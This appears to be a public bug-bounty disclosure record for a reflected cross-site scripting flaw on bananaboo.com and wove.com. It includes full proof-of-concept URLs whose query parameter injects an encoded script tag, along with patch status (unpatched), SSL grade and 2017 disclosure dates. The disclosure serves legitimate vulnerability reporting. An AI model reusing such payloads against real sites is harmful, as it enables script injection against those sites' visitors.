bananaboo.com XSS vulnerability

bananaboo.com XSS vulnerability, URL: http://www.bananaboo.com/search_caf.php?src=mountains&uid;=www57f5ee76884617.62305986&abp;=1&country;=FR&query;=%22%3E%3Cscript%3Ealert%28%22OPENBUGBOUNTY%22%29%3C%2Fscript%3E&afdToken;=Cu0BChMIvJSsj5u40gIVlBgbCh0yRgcKGAMgAFDp2J4BUPDQoAFQrqnQCVC5qdAJUPep0AlQoqrQCVCvqtAJULKq0AlQz6rQCVDWqtAJUNmq0AlQ3qrQCVDhqtAJUOKq0AlQ5arQCVDmqtAJUOqq0AlQ76rQCVDwqtAJUPGq0AlQ9qrQCVDPp9EMUM2_4A9QguD0IlCit-BGUNau-EZQluuAZVC8qu6XAVCP8oGaAVDJntapAVDF3d6_AVD4g-PCAVCVqe3WBFD8pc29BVD3peXBB2jp2J4BaPDQoAFx1Twd6jlhyM6RAfMevTZ_86EZEhkAbTqKkFKDEUgImeEjk9PTfvTovNnGOWYG&search;=1 http://wove.com/search_caf.php?src=mountains&uid;=wove58a9f0cfe05349.24435537&abp;=1&country;=FR&query;=%22%3E%3Cscript%3Ealert%28%22OPENBUGBOUNTY%22%29%3C%2Fscript%3E&afdToken;=Cu0BChMI7PLnj5u40gIVykUbCh0PrQgmGAMgAFDp2J4BUPDQoAFQrqnQCVC5qdAJUPep0AlQoqrQCVCvqtAJULKq0AlQz6rQCVDWqtAJUNmq0AlQ3qrQCVDhqtAJUOKq0AlQ5arQCVDmqtAJUOqq0AlQ76rQCVDwqtAJUPGq0AlQ9qrQCVDPp9EMUM2_4A9QguD0IlCit-BGUNau-EZQluuAZVC8qu6XAVCP8oGaAVDJntapAVDF3d6_AVD4g-PCAVCVqe3WBFD8pc29BVD3peXBB2jp2J4BaPDQoAFxdj8qLo5qh4ORAfMevTZ_86EZEhkAbTqKkEW7fD1MkIqsT8K1dzZHpge85e7x&search;=1. Patched: No, Alexa Rank: 10662241, VIP website status: No, SSL Grade: F. Submitted: 2 March, 2017, Verified: 3 March, 2017, Notification: 3 March, 2017, Disclosure: 10 March, 2017